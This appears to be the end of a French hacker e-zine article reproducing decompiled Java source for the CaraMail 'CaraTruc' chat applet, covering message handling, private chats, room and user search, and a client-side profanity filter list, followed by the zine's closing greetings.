if(a129.a430(s5, 0) == null)
{
a283("82\t" + s2);
a129.addElement(new CaraTrucLine(s5, s16, s24, "", "", "", "", "com", "", "", flag1));
}
else
{
CaraTrucLine caratrucline1 = a129.a430(s5, 0);
a129.addElement(new CaraTrucLine(s5, s16, s24, caratrucline1.a465(3), caratrucline1.a465(4), caratrucline1.a465(5), "", "com", "", "", flag1));
}
}

a129.a419();
break;

case 72: // 'H'
case 73: // 'I'
if(stringtokenizer.countTokens() != 3)
return false;
String s3;
if(a101.contains(s3 = stringtokenizer.nextToken()))
break;
String s6 = s3;
String s17 = stringtokenizer.nextToken();
int k = 0;
if(a130.a515(s17))
{
if(!s17.equals(a130.a517()))
a130.a514(s17, Color.orange);
for(; k < 20 && !a167[k].equals(s17); k++);
if(k >= 20)
break;
if(!a166[k].equals(s6))
{
a168[k] = false;
a166[k] = s6;
a167[k] = s17;
a162[k].setText("");
a162[k].requestFocus();
}
if(i == 72)
{
if(a168[k])
{
a157[k].addElement(new CaraTrucLine(s6, s17, stringtokenizer.nextToken(), a169[k], a170[k], a171[k], "", "com", "", "", false));
}
else
{
a157[k].addElement(new CaraTrucLine(s6, s17, stringtokenizer.nextToken(), "", "", "", "", "com", "", "", false));
a283("82\t" + s6);
}
}
else
{
a157[k].addElement(new CaraTrucLine(a79, a78, stringtokenizer.nextToken(), a74, a75, a76, "", "com", "", "", true));
}
a157[k].a419();
break;
}
k = a279(s6, s17);
if(k == -1)
break;
a283("82\t" + s6);
a130.a507(s17, a152[k]);
a130.a514(s17, Color.orange);
if(i == 72)
a157[k].addElement(new CaraTrucLine(s6, s17, stringtokenizer.nextToken(), "", "", "", "", "com", "", "", false));
else
a157[k].addElement(new CaraTrucLine(a79, a78, stringtokenizer.nextToken(), a74, a75, a76, "", "com", "", "", true));
a157[k].a419();
break;

case 85: // 'U'
int k1 = 0;
int l1 = 0;
int i2 = 0;
a128.a446();
while(stringtokenizer.hasMoreElements())
{
String s7 = stringtokenizer.nextToken();
String s18 = stringtokenizer.nextToken();
String s25 = stringtokenizer.nextToken();
String s29 = stringtokenizer.nextToken();
String s33 = stringtokenizer.nextToken();
if(a101.contains(s7))
s29 = " ignor\351(e)";
else
if(s29.compareTo("0") == 0)
{
s29 = "F";
k1++;
}
else
if(s29.compareTo("1") == 0)
{
s29 = "H";
l1++;
}
else
{
s29 = "X";
}
a128.addElement(new CaraTrucLine(s7, s18, "", s25, s29, s33, "", "com", "", "", false));
i2++;
}

a147.setText(i2 + " personnes - " + k1 + " f - " + l1 + " h");
a128.a419();
a145.enable();
a143.disable();
a141.disable();
break;

case 20: // '\024'
case 21: // '\025'
case 22: // '\026'
case 23: // '\027'
if(!stringtokenizer.hasMoreElements())
return false;
a83 = stringtokenizer.nextToken();
a130.a507(a329(a83), a131);
a130.a514(a329(a83), Color.orange);
a130.enable();
a130.repaint();
a130.a516(3);
a128.a446();
a129.a446();
a146.setText("Vous dialoguez dans le salon " + a329(a83));
a283("94");
a199.disable();
a196.disable();
a283("85");
a145.disable();
a143.disable();
a141.disable();
a147.setText("Recherche en cours ...");
break;

case 40: // '('
case 41: // ')'
case 42: // '*'
case 43: // '+'
if(!stringtokenizer.hasMoreElements())
return false;
a83 = stringtokenizer.nextToken();
a130.a513(3, a329(a83));
a130.repaint();
a130.a516(3);
a128.a446();
a129.a446();
a146.setText("Vous dialoguez dans le salon " + a329(a83));
a283("85");
a145.disable();
a143.disable();
a141.disable();
a147.setText("Recherche en cours ...");
break;

case 74: // 'J'
if(stringtokenizer.countTokens() != 1)
return false;
int j = 0;
for(String s8 = stringtokenizer.nextToken(); j < 20 && !a166[j].equals(s8); j++);
if(j < 20)
{
a157[j].addElement(new CaraTrucLine("", "", "010200" + a167[j] + " est d\351connect\351(e) !", "", "", "", "", "", "", "", true));
a157[j].a419();
}
break;

case 199:
if(!stringtokenizer.hasMoreElements())
return false;
a73 = new String(stringtokenizer.nextToken());
if(a73.equals("0"))
a220.setText("Aucun connect\351 !");
if(a73.equals("1"))
a220.setText("une personne est connect\351e");
else
a220.setText(a73 + " personnes sont connect\351es");
break;

case 77: // 'M'
if(!stringtokenizer.hasMoreElements())
return false;
String s9 = new String(stringtokenizer.nextToken());
a126.addElement(new CaraTrucLine("", "", s9, "", "", "", "", "", "", "", false));
a126.a419();
if(!a130.a517().equals("Infos CaraMail"))
a130.a514("Infos CaraMail", Color.orange);
break;

case 76: // 'L'
if(!stringtokenizer.hasMoreElements())
return false;
String s10 = new String(stringtokenizer.nextToken());
a129.addElement(new CaraTrucLine("", "", s10, "", "", "", "", "", "", "", true));
a129.a419();
if(!a130.a517().equals(a329(a83)))
a130.a514(a329(a83), Color.orange);
break;

case 82: // 'R'
if(stringtokenizer.countTokens() != 4)
return false;
String s11 = stringtokenizer.nextToken();
String s19 = stringtokenizer.nextToken();
String s26 = stringtokenizer.nextToken();
String s30 = stringtokenizer.nextToken();
int j1 = 0;
if(s26.compareTo("0") == 0)
s26 = "F";
else
if(s26.compareTo("1") == 0)
s26 = "H";
else
s26 = "X";
if(s30.compareTo("?") == 0)
s30 = "";
for(; j1 < 20 && !s11.equals(a166[j1]); j1++);
if(j1 < 20)
{
a168[j1] = true;
a169[j1] = s19;
a170[j1] = s26;
a171[j1] = s30;
a157[j1].a425(s11, 0, s19, 3);
a157[j1].a425(s11, 0, s26, 4);
a157[j1].a425(s11, 0, s30, 5);
a157[j1].a419();
}
a129.a425(s11, 0, s19, 3);
a129.a425(s11, 0, s26, 4);
a129.a425(s11, 0, s30, 5);
a129.a419();
break;

case 90: // 'Z'
case 94: // '^'
int l = 0;
a125.a446();
while(stringtokenizer.hasMoreElements())
{
String s12 = stringtokenizer.nextToken();
String s20 = stringtokenizer.nextToken();
int i1 = a329(s12).length() + 2;
byte byte0;
if(Integer.parseInt(s20) > 9)
byte0 = 2;
else
byte0 = 1;
a125.addElement(new CaraTrucLine("", "", new String("0100" + i1 / 10 + i1 % 10 + a329(s12) + " (01020" + byte0 + s20 + "010000)"), "", "", "", "", "", s12, "", false));
l++;
}

a125.a419();
if(i == 90)
{
a197.enable();
if(l < 2)
a146.setText(new String(String.valueOf(l) + " salon public"));
else
a207.setText(new String(String.valueOf(l) + " salons publics"));
break;
}
a196.enable();
if(l < 2)
a146.setText(new String(String.valueOf(l) + " salon permanent"));
else
a207.setText(new String(String.valueOf(l) + " salons permanents"));
break;

case 54: // '6'
case 56: // '8'
case 58: // ':'
String as[] = {
"|", "/", "-", "\\", "|", "/", "-", "\\"
};
int j2 = 0;
String s40 = stringtokenizer.nextToken();
String s13 = "";
String s38 = "";
String s21 = "";
String s27 = "";
String s31 = "";
String s34 = "";
String s36 = "";
a124.a446();
a219.setText("Traitement des r\351sultats ");
while(stringtokenizer.hasMoreElements())
{
String s14 = "";
String s39 = "";
String s22 = "";
String s28 = "";
String s32 = "";
String s35 = "";
String s37 = "";
s14 = stringtokenizer.nextToken();
s39 = stringtokenizer.nextToken();
s22 = stringtokenizer.nextToken();
s28 = stringtokenizer.nextToken();
s32 = stringtokenizer.nextToken();
s35 = stringtokenizer.nextToken();
s37 = stringtokenizer.nextToken();
if(s32.compareTo("?") == 0)
s32 = "";
if(a101.contains(s14))
s28 = " ignor\351(e)";
else
if(s28.compareTo("0") == 0)
s28 = "F";
else
if(s28.compareTo("1") == 0)
s28 = "H";
else
s28 = "X";
String s43;
if(s37.equals("0") || s37.equals("4"))
s43 = "010000(salon " + a329(s35) + ")";
else
if(s37.equals("1") || s37.equals("5"))
{
s43 = "010200(en priv\351)";
s35 = "";
}
else
{
s43 = "010200(en priv\351)";
s35 = "";
}
switch(i)
{
case 54: // '6'
if(!s22.equals("-1"))
{
int k2 = s22.length() + 5;
String s41 = "0102";
s41 = s41 + k2 / 10 + k2 % 10;
s41 = s41 + s22 + " ans ";
s43 = s41 + s43;
}
a124.addElement(new CaraTrucLine(s14, s39, s43, s22, s28, s32, "", "com", s35, "", false));
break;

case 56: // '8'
a124.addElement(new CaraTrucLine(s14, s39, s43, s22, s28, s32, "", "com", s35, "", false));
break;

case 58: // ':'
if(!s32.equals(""))
{
int l2 = s32.length() + 1;
String s42 = "0102";
s42 = s42 + l2 / 10 + l2 % 10;
s42 = s42 + s32.substring(0, 1).toUpperCase() + s32.substring(1).toLowerCase() + " ";
s43 = s42 + s43;
}
a124.addElement(new CaraTrucLine(s14, s39, s43, s22, s28, s32, "", "com", s35, "", false));
break;

}
if(j2 % 10 == 0)
a219.setText("Traitement des r\351sultats " + as[(j2 / 10) % 8]);
j2++;
}

switch(i)
{
case 54: // '6'
a124.a436("431");
a230.enable();
break;

case 56: // '8'
a124.a436("41");
a231.enable();
break;

case 58: // ':'
a124.a436("451");
a232.enable();
break;

}
a124.a419();
if(j2 > 0)
a219.setText(String.valueOf(j2) + " personnes correspondent aux crit\350res");
if(j2 == 1)
a219.setText(String.valueOf(j2) + " personne correspond aux crit\350res");
if(j2 == 0)
a219.setText("Aucune personne ne correspond aux crit\350res");
break;

case 101: // 'e'
a327(101);
break;

case 500:
case 555:
a327(500);
break;

}
return true;
}

private void a327(int i)
{
if(a96 != null && a96.isAlive())
{
a97 = false;
run = false;
a96.stop();
a96 = null;
try
{
if(in != null)
{
if(a99 != null)
a99.close();
if(in != null)
in.close();
if(out != null)
out.close();
in = null;
a99 = null;
out = null;
}
}
catch(IOException _ex) { }
}
String s;
switch(i)
{
case 11: // '\013'
s = "010200Les param\350tres de connexion sont incorrects.";
break;

case 12: // '\f'
s = "010200Le dialogue en direct est momentan\351ment surcharg\351 ! Merci de r\351essayer plus tard !";
break;

case 13: // '\r'
s = "010200L'administrateur du dialogue en direct vous refus\351 l'acc\350s.";
// fall through

default:
s = null;
break;

}
if(s != null)
{
a126.addElement(new CaraTrucLine("", "", s, "", "", "", "", "", "", "", true));
a126.a419();
if(!a130.a517().equals("Infos CaraMail"))
{
a130.a516("Infos CaraMail");
a130.disable();
}
}
}

private String a329(String s)
{
StringTokenizer stringtokenizer = new StringTokenizer(s, "#");
String s1 = stringtokenizer.nextToken();
String s2 = stringtokenizer.nextToken();
if(s2.equals("0"))
s2 = "";
else
s2 = " " + s2;
return s1 + s2;
}

private String a332(String s)
{
int i = 0;
String s1;
for(s1 = new String(s.toLowerCase().trim()); i < s1.length();)
if(!Character.isLetterOrDigit(s1.charAt(i)))
{
String s2 = s1.substring(0, i) + s1.substring(i + 1, s1.length());
s1 = s2;
}
else
{
i++;
}

for(int j = 0; j < a113.length; j++)
if(s1.indexOf(a113[j]) != -1)
return null;

return s;
}

public boolean action(Event event, Object obj)
{
if(event.target.equals(a130))
{
String s = (String)obj;
int i2;
for(i2 = 0; i2 < 20 && !a167[i2].equals(s); i2++);
if(i2 < 20)
a162[i2].requestFocus();
else
if(s.equals(a329(a83)))
a148.requestFocus();
else
if(s.equals("Connect\351(e)s"))
a283("199");
return true;
}
if(event.target.equals(a227))
{
int i = 0;
if(a130.a515(a87))
{
a130.a516(a87);
for(; i < 20 && !a167[i].equals(a87); i++);
if(i < 20)
a157[i].a419();
}
else
{
int j = a279(a86, a87);
if(j != -1)
{
a130.a507(a87, a152[j]);
a130.a516(a87);
a157[j].a419();
}
}
return true;
}
if(event.target.equals(a141))
{
if(a91)
a283("16\t" + a89);
else
a283("18\t" + a89);
a283("85");
a145.disable();
a143.disable();
a141.disable();
a147.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a143))
{
int k = 0;
if(a130.a515(a90))
{
a130.a516(a90);
for(; k < 20 && !a167[k].equals(a90); k++);
if(k < 20)
a157[k].a419();
}
else
{
int l = a279(a89, a90);
if(l != -1)
{
a130.a507(a90, a152[l]);
a130.a516(a90);
a157[l].a419();
}
}
return true;
}
if(event.target.equals(a228))
{
if(a92)
a283("16\t" + a86);
else
a283("18\t" + a86);
return true;
}
if(event.target.equals(a229))
{
a283("40\t" + a85);
return true;
}
if(event.target.equals(a199))
{
if(a88.equals(a83))
a130.a516(a329(a83));
else
a283("40\t" + a88);
return true;
}
if(event.target.equals(a201))
{
a283("255\t" + a88);
a283("90");
a199.disable();
a197.disable();
a201.disable();
a207.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a144))
{
a283("255\t" + a83);
return true;
}
if(event.target.equals(a183))
{
if(a183.getState())
{
if(a94)
a283("14\t4");
}
else
if(a94)
a283("14\t0");
return true;
}
if(event.target.equals(a149))
{
if(a149.getState())
{
int i1 = a148.getText().indexOf("> ");
if(i1 != -1)
{
a148.setText(a148.getText().substring(i1 + 2));
}
else
{
int j1 = a148.getText().indexOf(">");
if(j1 != -1)
a148.setText(a148.getText().substring(j1 + 1));
}
a146.setText("Vous \351crivez un message priv\351 destin\351 \340 " + a82);
}
else
{
a146.setText("Vous dialoguez dans le salon " + a329(a83));
}
return true;
}
if((event.target.equals(a148) || event.target.equals(a142)) && a148.getText().length() == 0)
{
a81 = "";
a82 = "";
a146.setText("Vous dialoguez dans le salon " + a329(a83));
a149.setState(false);
a149.disable();
return true;
}
if(event.target.equals(a196))
{
a283("94");
a196.disable();
a199.disable();
a201.disable();
a207.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a197))
{
a283("90");
a199.disable();
a197.disable();
a201.disable();
a207.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a145))
{
a283("85");
a145.disable();
a143.disable();
a141.disable();
a147.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a230))
{
int k1 = -2;
if(a237.getSelectedIndex() < 3)
k1 = a237.getSelectedIndex() - 1;
a227.disable();
a228.disable();
a229.disable();
if(k1 == -1)
a283("54\t" + a234.getSelectedIndex());
else
if(k1 == -2)
a283("54\t" + a234.getSelectedIndex() + "\t-1");
else
a283("54\t" + a234.getSelectedIndex() + "\t" + k1);
a230.disable();
a219.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a231))
{
byte byte0 = 97;
int j2 = -2;
if(a237.getSelectedIndex() < 3)
j2 = a237.getSelectedIndex() - 1;
a227.disable();
a228.disable();
a229.disable();
Character character;
if(a235.getSelectedIndex() != 0)
{
char c = (char)(97 + (a235.getSelectedIndex() - 1));
character = new Character(c);
}
else
{
char c1 = '*';
character = new Character(c1);
}
if(j2 == -1)
a283("56\t" + character.toString());
else
if(j2 == -2)
a283("56\t" + character.toString() + "\t-1");
else
a283("56\t" + character.toString() + "\t" + j2);
a231.disable();
a219.setText("Recherche en cours ...");
return true;
}
if(event.target.equals(a232))
{
int k2 = -2;
if(a237.getSelectedIndex() < 3)
k2 = a237.getSelectedIndex() - 1;
a227.disable();
a228.disable();
a229.disable();
Character character1;
if(a236.getSelectedIndex() != 0)
{
char c2 = (char)(97 + (a236.getSelectedIndex() - 1));
character1 = new Character(c2);
}
else
{
char c3 = '*';
character1 = new Character(c3);
}
if(k2 == -1)
a283("58\t" + character1.toString());
else
if(k2 == -2)
a283("58\t" + character1.toString() + "\t-1");
else
a283("58\t" + character1.toString() + "\t" + k2);
a232.disable();
a219.setText("Recherche en cours ...");
return true;
}
if((event.target.equals(a208) || event.target.equals(a198)) && a208.getText().length() > 0)
{
String s1 = "";
if(a202[0].getState())
s1 = s1 + "40\t";
else
s1 = s1 + "42\t";
if(a332(a208.getText()) != null)
{
s1 = s1 + a208.getText();
a283(s1);
}
a208.setText("");
a208.requestFocus();
return true;
}
if((event.target.equals(a209) || event.target.equals(a200)) && a209.getText().length() > 0)
{
String s2 = "";
s2 = s2 + "42\t";
if(a332(a209.getText()) != null)
{
s2 = s2 + a209.getText();
a283(s2);
}
a209.setText("");
a209.requestFocus();
return true;
}
if((event.target.equals(a180) || event.target.equals(a182)) && a180.getText().length() > 0)
{
String s3 = "";
s3 = s3 + "77\t";
s3 = s3 + "CARAMAIL> " + a180.getText();
a180.setText("");
a283(s3);
return true;
}
if((event.target.equals(a148) || event.target.equals(a142)) && a148.getText().length() > 0)
{
String s4 = a148.getText().trim();
String s5 = "";
if(s4.length() > 192)
s4 = s4.substring(0, 192).trim();
if(!a149.getState())
{
s5 = s5 + "70\t";
}
else
{
s5 = s5 + "72\t";
s5 = s5 + a81 + "\t";
}
switch(a151.getSelectedIndex())
{
case 0: // '\0'
s5 = s5 + "01";
break;

case 1: // '\001'
s5 = s5 + "00";
break;

case 2: // '\002'
s5 = s5 + "02";
break;

}
switch(a150.getSelectedIndex())
{
case 0: // '\0'
s5 = s5 + "00";
break;

case 1: // '\001'
s5 = s5 + "01";
break;

case 2: // '\002'
s5 = s5 + "02";
break;

case 3: // '\003'
s5 = s5 + "03";
break;

case 4: // '\004'
s5 = s5 + "04";
break;

case 5: // '\005'
s5 = s5 + "05";
break;

case 6: // '\006'
s5 = s5 + "06";
break;

case 7: // '\007'
s5 = s5 + "07";
break;

case 8: // '\b'
s5 = s5 + "08";
break;

case 9: // '\t'
s5 = s5 + "09";
break;

case 10: // '\n'
s5 = s5 + "10";
break;

}
s5 = s5 + "00" + s4;
if(s4.length() > 0)
a283(s5);
a146.setText("Vous dialoguez dans le salon " + a329(a83));
a148.setText("");
a148.requestFocus();
a81 = "";
a82 = "";
a149.setState(false);
a149.disable();
return true;
}
for(int l1 = 0; l1 < 20; l1++)
if(!a166[l1].equals(""))
{
if((event.target.equals(a162[l1]) || event.target.equals(a160[l1])) && a162[l1].getText().length() > 0)
{
String s6 = a162[l1].getText().trim();
String s7 = "";
if(s6.length() > 192)
s6 = s6.substring(0, 192).trim();
s7 = s7 + "72\t";
s7 = s7 + a166[l1] + "\t";
switch(a164[l1].getSelectedIndex())
{
case 0: // '\0'
s7 = s7 + "01";
break;

case 1: // '\001'
s7 = s7 + "00";
break;

case 2: // '\002'
s7 = s7 + "02";
break;

}
switch(a163[l1].getSelectedIndex())
{
case 0: // '\0'
s7 = s7 + "00";
break;

case 1: // '\001'
s7 = s7 + "01";
break;

case 2: // '\002'
s7 = s7 + "02";
break;

case 3: // '\003'
s7 = s7 + "03";
break;

case 4: // '\004'
s7 = s7 + "04";
break;

case 5: // '\005'
s7 = s7 + "05";
break;

case 6: // '\006'
s7 = s7 + "06";
break;

case 7: // '\007'
s7 = s7 + "07";
break;

case 8: // '\b'
s7 = s7 + "08";
break;

case 9: // '\t'
s7 = s7 + "09";
break;

case 10: // '\n'
s7 = s7 + "10";
break;

}
s7 = s7 + "00" + s6;
if(s6.length() > 0)
a283(s7);
a162[l1].setText("");
a162[l1].requestFocus();
return true;
}
if(event.target.equals(a159[l1]))
{
a283("16\t" + a166[l1]);
a130.a510(a167[l1]);
a130.a516(a329(a83));
a283("85");
a145.disable();
a143.disable();
a141.disable();
a147.setText("Recherche en cours ...");
a276(l1);
a148.requestFocus();
return true;
}
if(event.target.equals(a165[l1]))
{
a130.a510(a167[l1]);
a130.a516(a329(a83));
a276(l1);
a148.requestFocus();
return true;
}
if(event.target.equals(a161[l1]))
{
a283("555\t" + a166[l1]);
a130.a510(a167[l1]);
a130.a516(a329(a83));
a276(l1);
a148.requestFocus();
return true;
}
}

return super.action(event, obj);
}

public void destroy()
{
a327(0);
}

public boolean handleEvent(Event event)
{
if(event.target == a137)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a129.a410();
break;

}
return true;
}
if(event.target == a138)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a128.a410();
break;

}
return true;
}
if(event.target == a172)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a126.a410();
break;

}
return true;
}
if(event.target == a173)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a127.a410();
break;

}
return true;
}
if(event.target == a226)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a124.a410();
break;

}
return true;
}
if(event.target == a195)
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a125.a410();
break;

}
return true;
}
if(event.target == a124)
{
CaraTrucLine caratrucline = a124.a433();
if(caratrucline != null)
if(caratrucline.a465(0).equals(a79))
{
a229.disable();
a228.disable();
a227.disable();
a92 = false;
}
else
{
a86 = caratrucline.a465(0);
a87 = caratrucline.a465(1);
a85 = caratrucline.a465(8);
if(!a85.equals(""))
a229.enable();
else
a229.disable();
a228.enable();
if(a101.contains(a86))
{
a228.setLabel("Autoriser");
a227.disable();
a92 = false;
}
else
{
a228.setLabel("Ignorer");
a227.enable();
a92 = true;
}
a228.enable();
}
return true;
}
if(event.target == a125)
{
CaraTrucLine caratrucline1 = a125.a433();
if(caratrucline1 != null)
{
a88 = caratrucline1.a465(8);
a199.enable();
a201.enable();
}
return true;
}
if(event.target == a129)
{
CaraTrucLine caratrucline2 = a129.a431();
if(caratrucline2 != null && !caratrucline2.a465(0).equals(a79))
{
a82 = caratrucline2.a465(1);
a81 = caratrucline2.a465(0);
a149.enable();
a149.setState(false);
int j = a148.getText().indexOf("> ");
if(j != -1)
{
a148.setText(a82 + "> " + a148.getText().substring(j + 2));
}
else
{
int k = a148.getText().indexOf(">");
if(k != -1)
a148.setText(a82 + "> " + a148.getText().substring(k + 1));
else
a148.setText(a82 + "> ");
}
a148.requestFocus();
a148.select(a148.getText().length(), a148.getText().length());
}
return true;
}
if(event.target == a128)
{
CaraTrucLine caratrucline3 = a128.a433();
if(caratrucline3 != null)
{
a89 = caratrucline3.a465(0);
a90 = caratrucline3.a465(1);
if(!a89.equals(a79))
{
a143.enable();
a141.enable();
if(a101.contains(a89))
{
a141.setLabel("Autoriser");
a91 = false;
}
else
{
a141.setLabel("Ignorer");
a91 = true;
}
}
else
{
a143.disable();
a141.disable();
}
}
return true;
}
for(int i = 0; i < 20; i++)
if(event.target == a156[i])
{
switch(event.id)
{
case 601: // Event.SCROLL_LINE_UP
case 602: // Event.SCROLL_LINE_DOWN
case 603: // Event.SCROLL_PAGE_UP
case 604: // Event.SCROLL_PAGE_DOWN
case 605: // Event.SCROLL_ABSOLUTE
a157[i].a410();
break;

}
return true;
}

return super.handleEvent(event);
}

public void init()
{
a238();
a93 = false;
a101 = new Vector(10, 5);
try
{
a239();
}
catch(Exception exception)
{
exception.printStackTrace();
}
a149.disable();
a145.disable();
a141.disable();
a143.disable();
a199.disable();
a201.disable();
a227.disable();
a228.disable();
a229.disable();
}

public Insets insets()
{
return insets;
}

public void run()
{
Object obj = null;
boolean flag = false;
int j = 0;
char ac[] = new char[0x30d40];
while(run)
{
int i;
try
{
i = in.read();
a102 = new Date(System.currentTimeMillis());
if(a102.getTime() - a104 > 30000L && a79.compareTo("") != 0)
{
a104 = a102.getTime();
a283("999");
}
}
catch(IOException _ex)
{
i = -1;
System.err.println("erreur");
}
if(i == -1)
{
if(a93)
{
a283("666");
if(!a292())
a327(0);
}
else
if(!a298())
a327(0);
}
else
{
if(j < 0x30d40)
{
if(i != 10)
{
ac[j] = (char)i;
j++;
}
}
else
{
j = 0;
}
if(i == 10)
{
a299(new String(ac, 0, j) + "\n");
j = 0;
}
}
}

}

public void start()
{
if(a97)
return;
if(a297() && (a96 == null || !a96.isAlive()))
{
a96 = new Thread(this);
a96.start();
a97 = true;
}
}

public void stop()
{
}

public void update(Graphics g)
{
paint(g);
}

private final int a53 = 0;
private final int a54 = 1;
private final int a55 = 2;
private static final int a56 = 6666;
private static final int a57 = 80;
private static final String a58 = "divers";
private static final int a59 = 192;
private static final int a60 = 30;
private static final int a61 = 0x30d40;
private static final int a62 = 50;
private static final long a63 = 0x927c0L;
private static final int a64 = 0;
private static final int a65 = 3;
private static final int a66 = 4;
private static final int a67 = 5;
private static final int a68 = 8;
private static final int a69 = 1;
private int a70;
private int a71;
private int a72;
private String a73;
private String a74;
private String a75;
private String a76;
private String a77;
private String a78;
private String a79;
private String a80;
private String a81;
private String a82;
private String a83;
private String a84;
private String a85;
private String a86;
private String a87;
private String a88;
private String a89;
private String a90;
private boolean a91;
private boolean a92;
private boolean a93;
private boolean a94;
private boolean a95;
private boolean run;
private Thread a96;
private boolean a97;
private boolean a98;
private Socket a99;
private String a100;
private PrintStream out;
private InputStream in;
private Vector a101;
private Date a102;
private int a103;
private long a104;
private static final String a105 = "com";
private static final int PUBLIC = 0;
private static final int a106 = 1;
private static final int a107 = 99;
private static final int a108 = 182;
private static final int a109 = 198;
private static final int a110 = 202;
private String a111;
private String a112[] = {
"Autres...", "5-10 ans", "10-15 ans", "15-20 ans", "20-25 ans", "25-30 ans", "30-40 ans", "40-50 ans", "50-60 ans", "60-70 ans",
"70 et plus"
};
private String a113[] = {
"juif", "youpin", "arabe", "bougn", "reubeu", "salop", "pute", "\351jacul", "ejacul", "tjf",
"encul", "partouz", "raci", "race", "zoophi", "incest", "anal", "tortur", "bite", "antisemit",
"couil", "scato", "rasis", "x\351nopho", "xenopho", "sperm", "chatt", "cul", "bitte", "pip",
"caca", "pip", "shit", "ganja", "mort", "suicid", "drogu"
};
private final int a114 = 40;
private final int a115 = 40;
private final int a116 = 2000;
private final int a117 = 20;
private final int a118 = 40;
private final boolean a119 = true;
private final boolean a120 = true;
private final boolean a121 = false;
private final boolean a122 = false;
private final boolean a123 = false;
private CaraTrucCanvas a124;
private CaraTrucCanvas a125;
private CaraTrucCanvas a126;
private CaraTrucCanvas a127;
private CaraTrucCanvas a128;
private CaraTrucCanvas a129;
private CaraTrucOnglet a130;
protected Insets insets;
private Panel a131;
private Panel a132;
private Panel a133;
private Panel a134;
private Panel a135;
private Panel a136;
private LightScrollbar a137;
private LightScrollbar a138;
private CaraLabelPanel a139;
private CaraLabelPanel a140;
private Button a141;
private Button a142;
private Button a143;
private Button a144;
private Button a145;
private Label a146;
private Label a147;
private TextField a148;
private Checkbox a149;
private Choice a150;
private Choice a151;
private Panel a152[];
private Panel a153[];
private Panel a154[];
private Panel a155[];
private LightScrollbar a156[];
private CaraTrucCanvas a157[];
private CaraLabelPanel a158[];
private Button a159[];
private Button a160[];
private Button a161[];
private TextField a162[];
private Choice a163[];
private Choice a164[];
private Button a165[];
private String a166[];
private String a167[];
private boolean a168[];
private String a169[];
private String a170[];
private String a171[];
private LightScrollbar a172;
private LightScrollbar a173;
private CaraLabelPanel a174;
private CaraLabelPanel a175;
private Panel a176;
private Panel a177;
private Panel a178;
private Panel a179;
private TextField a180;
private Label a181;
private Button a182;
private Checkbox a183;
private Panel a184;
private Panel a185;
private Panel a186;
private Panel a187;
private Panel a188;
private Panel a189;
private Panel a190;
private Panel a191;
private CaraLabelPanel a192;
private CaraLabelPanel a193;
private CaraLabelPanel a194;
private LightScrollbar a195;
private Button a196;
private Button a197;
private Button a198;
private Button a199;
private Button a200;
private Button a201;
private Checkbox a202[];
private CheckboxGroup a203;
private Label a204;
private Label a205;
private Label a206;
private Label a207;
private TextField a208;
private TextField a209;
private Panel a210;
private Panel a211;
private Panel a212;
private Panel a213;
private Panel a214;
private Panel a215;
private Panel a216;
private CaraLabelPanel a217;
private CaraLabelPanel a218;
private Label a219;
private Label a220;
private Label a221;
private Label a222;
private Label a223;
private Label a224;
private Label a225;
private LightScrollbar a226;
private Button a227;
private Button a228;
private Button a229;
private Button a230;
private Button a231;
private Button a232;
private TextField a233;
private Choice a234;
private Choice a235;
private Choice a236;
private Choice a237;
}

ScreenShots (Note de Clad: bon eh euh j'en mets pas 40, 4 ou 5 ça suffira...)

Voilà, le zine est fini. ACiD et moi espérons qu'il vous aura plu!

Les Greetz à Clad Strife, greetz to:
H117, J117, facker, Bond, decayer, ACiD, Thorgal, Leonard, Leon Scott, Tobozo, Aiki, PIN, Janus pis les otres lamahs...

A+